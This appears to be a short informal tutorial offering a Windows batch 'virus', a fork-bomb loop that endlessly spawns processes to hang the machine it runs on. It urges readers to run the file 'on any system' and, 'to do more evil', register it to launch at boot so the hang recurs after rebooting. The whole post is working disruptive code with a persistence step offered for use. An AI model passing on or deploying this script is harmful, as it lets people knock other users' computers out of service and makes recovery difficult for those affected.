Simple Virus to Hang the Windows System. Windows Shell Script :D

Step1: open CMD

Step 2: Write edit hack.bat

Step 3: Write following code

:A
start
goto A

Step 4: Save the file and Run this file on any system.

It will just hang your system by creating infinite processes. Like DOS attack on you system locally.

If you reboot directly then you system will be normal again.

To do more evil...
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Make entry of this file in windows registry for boot time run..

:D